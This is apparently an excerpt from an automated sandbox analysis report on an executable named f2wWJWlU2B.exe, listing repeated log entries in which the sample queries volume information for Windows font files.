Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
